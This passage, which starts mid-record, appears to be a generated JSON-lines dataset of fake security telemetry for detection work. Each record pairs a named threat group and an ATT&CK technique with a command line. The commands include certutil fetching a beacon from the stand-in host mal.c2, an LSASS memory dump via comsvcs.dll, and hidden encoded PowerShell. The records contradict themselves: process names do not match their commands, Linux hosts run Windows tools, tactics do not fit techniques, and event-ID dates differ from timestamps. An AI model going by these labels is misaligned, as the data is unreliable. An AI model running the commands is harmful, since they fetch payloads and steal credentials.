-urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-10-27T00:23:53.000Z","user":{"name":"CORP\\1efrdrqv9on5","sid":"S-1-5-21-599324693-187827470-6387"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Defense Evasion","Initial Access"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20251206T115925000Z_0018697","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 \| Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.172.164.16","name":"DB-ORACLE-39TWMRI57F","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18697APT29T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.176.38.57","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3020 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-04-27T03:49:58.000Z","user":{"name":"arn:aws:iam::uxyh39v2fw5y","sid":"S-1-5-21-943494190-855241956-2743"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Collection"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20250915T155908000Z_0018699","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.219.171.3","name":"IAM-ROLE-Q70HQJAL0M","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18699Scattered SpiderT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.20.88.230","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1036 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-14T14:13:14.000Z","user":{"name":"i-nldznom82xxj","sid":"S-1-5-21-631173242-656073597-7812"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation"],"technique_id":"T1570"},"event_id":"evt_unc4841_20250509T152727000Z_0018701","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.104.247.121","name":"APP-WEB-M886ILJBRP","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18701UNC4841T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.124.73.199","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-01-16T19:31:54.000Z","user":{"name":"azuread\\xxrwadttsmhe","sid":"S-1-5-21-687155361-830966997-2187"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration","Collection","Impact"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20260709T104712000Z_0018703","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.177.198.169","name":"EC2-INST-GU2IYJL9O9","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18703Scattered SpiderT1546.003"},"network":{"domain":"github.com","dst_ip":"1.2.143.127","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-08-16T02:17:53.000Z","user":{"name":"svc_l4v2jrl9m1jf","sid":"S-1-5-21-253956200-996371429-9467"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement","Persistence"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250526T064426000Z_0018705","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.149.236.174","name":"AZURE-VM-4D4ZIQMLGC","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18705Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.5.66.63","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2070 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-07-22T09:43:52.000Z","user":{"name":"arn:aws:iam::3q9873f82y4k","sid":"S-1-5-21-221789424-188778057-8377"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Lateral Movement"],"technique_id":"T1531"},"event_id":"evt_apt41_20250428T093837000Z_0018707","ground_truth":{"detection_guidance":"Sigma rule for T1531 \| Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.38.33.142","name":"APP-WEB-HNWWK81ODZ","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18707APT41T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.107.113.103","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-06T08:50:53.000Z","user":{"name":"arn:aws:iam::khjjsih6it67","sid":"S-1-5-21-201262844-930397087-1044"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Defense Evasion","Credential Access"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20251213T101010000Z_0018709","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.94.114.197","name":"AZURE-VM-W6O0FXHY7J","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18709Lapsus$T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.56.81.228","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-24T02:24:40.000Z","user":{"name":"arn:aws:iam::ywwmh3tcyuvu","sid":"S-1-5-21-925975347-851294037-8870"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration","Privilege Escalation","Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20251023T211154000Z_0018711","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.197.230.140","name":"WIN-FIN-SRV-U55DINL6G0","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18711APT29T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.23.170.72","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-21T13:18:13.000Z","user":{"name":"i-8hk1rwao1cu2","sid":"S-1-5-21-993513770-219210852-3065"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Persistence","Discovery","Impact"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20260527T214557000Z_0018713","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.218.255.145","name":"WIN-FIN-SRV-OTWOBQZKXA","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18713FIN7T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.159.86.210","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-13T04:28:38.000Z","user":{"name":"azuread\\pilksvui3co8","sid":"S-1-5-21-636355769-772211166-5285"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20251019T044222000Z_0018715","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.79.172.11","name":"DB-ORACLE-EZBZA22OO9","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18715Mustang PandaT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.13.122.67","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-19T03:35:03.000Z","user":{"name":"azuread\\38ahek07fjj9","sid":"S-1-5-21-371859253-881037856-8701"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Impact","Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250306T153152000Z_0018717","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 \| Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.226.193.134","name":"WIN-FIN-SRV-ZRDI9C214W","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18717UNC4841T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.134.10.174","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-08-27T14:15:19.000Z","user":{"name":"arn:aws:iam::q1lbjrqj3158","sid":"S-1-5-21-758193079-510509678-5872"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20261126T010933000Z_0018719","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.112.111.161","name":"EC2-INST-EW6M57VFQL","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18719APT41T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.48.26.144","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-09T23:34:47.000Z","user":{"name":"arn:aws:iam::ais48goxczkv","sid":"S-1-5-21-396456421-629557220-2480"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Privilege Escalation","Credential Access","Collection"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260930T073043000Z_0018721","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.177.182.181","name":"EC2-INST-MRWE3RNH3S","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18721APT41T1021.006"},"network":{"domain":"github.com","dst_ip":"1.39.34.235","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-08-01T10:30:55.000Z","user":{"name":"azuread\\zg4n9bw7e7q0","sid":"S-1-5-21-506474307-698862412-2939"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Privilege Escalation","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20261211T123935000Z_0018723","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.51.247.79","name":"AZURE-VM-HA0QDKCQTK","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18723FIN7T1484.001"},"network":{"domain":"github.com","dst_ip":"1.59.68.152","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2330 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-12-12T20:19:28.000Z","user":{"name":"svc_gc166e1fwe3u","sid":"S-1-5-21-738344075-661546600-1923"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection","Command and Control","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20261229T070649000Z_0018725","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["WMI","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.73.90.35","name":"AZURE-VM-NH7MOGUKY4","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18725Mustang PandaT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.42.248.26","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-01T02:47:31.000Z","user":{"name":"i-k19vwcx1kd0e","sid":"S-1-5-21-927003173-156352781-4958"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20260426T063029000Z_0018727","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.78.111.202","name":"APP-WEB-1F18MEJV0Y","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18727Lapsus$T1098.004"},"network":{"domain":"github.com","dst_ip":"1.130.75.131","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-03T20:44:02.000Z","user":{"name":"i-tr6yam24jd6f","sid":"S-1-5-21-766151065-353190003-9432"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Execution"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20260605T182416000Z_0018729","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.107.230.171","name":"AZURE-VM-P19VJE09CJ","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18729UNC4841T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.168.32.139","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-09-21T18:08:58.000Z","user":{"name":"azuread\\lt0zaddp2fnb","sid":"S-1-5-21-181804425-371122087-7432"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250202T074640000Z_0018731","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.190.235.1","name":"EC2-INST-LPMBZ1QHXD","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18731APT41T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.91.37.106","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 541 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-22T05:06:35.000Z","user":{"name":"i-wotmdm5fubup","sid":"S-1-5-21-568796977-715704428-4130"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Reconnaissance","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20261210T202005000Z_0018733","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.58.189.206","name":"APP-WEB-R3XLOJQ9T4","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18733UNC4841T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.179.235.55","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1202 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-08-11T02:53:01.000Z","user":{"name":"arn:aws:iam::zbs4eojgd874","sid":"S-1-5-21-880405273-110114265-9412"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Execution","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20250714T102153000Z_0018735","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.143.57.36","name":"IAM-ROLE-TT1W5IPSJK","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18735Volt TyphoonT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.13.152.152","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-20T13:45:02.000Z","user":{"name":"i-52zvfvw4vhdp","sid":"S-1-5-21-101163834-746295280-8452"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection","Privilege Escalation","Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20250208T000848000Z_0018737","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.98.4.130","name":"WIN-FIN-SRV-0LMBGTPEDL","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18737Mustang PandaT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.52.30.202","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-26T22:48:36.000Z","user":{"name":"CORP\\bzfl4kceky4v","sid":"S-1-5-21-284051158-254988583-9399"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250831T063051000Z_0018739","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.207.116.142","name":"AZURE-VM-29431NH5G3","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18739APT41T1484.001"},"network":{"domain":"github.com","dst_ip":"1.46.49.203","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-08T13:17:54.000Z","user":{"name":"i-9rbfpq6plv7g","sid":"S-1-5-21-446280944-692360668-7814"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact","Credential Access"],"technique_id":"T1531"},"event_id":"evt_apt41_20250213T024244000Z_0018741","ground_truth":{"detection_guidance":"Sigma rule for T1531 \| Join on src_ip within 10m","evasion_used":["WMI","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.93.32.66","name":"APP-WEB-GBLQJWF8VN","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18741APT41T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.56.134.87","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-16T10:26:11.000Z","user":{"name":"svc_s5ynas1tfxsa","sid":"S-1-5-21-917045151-710038897-7756"}}
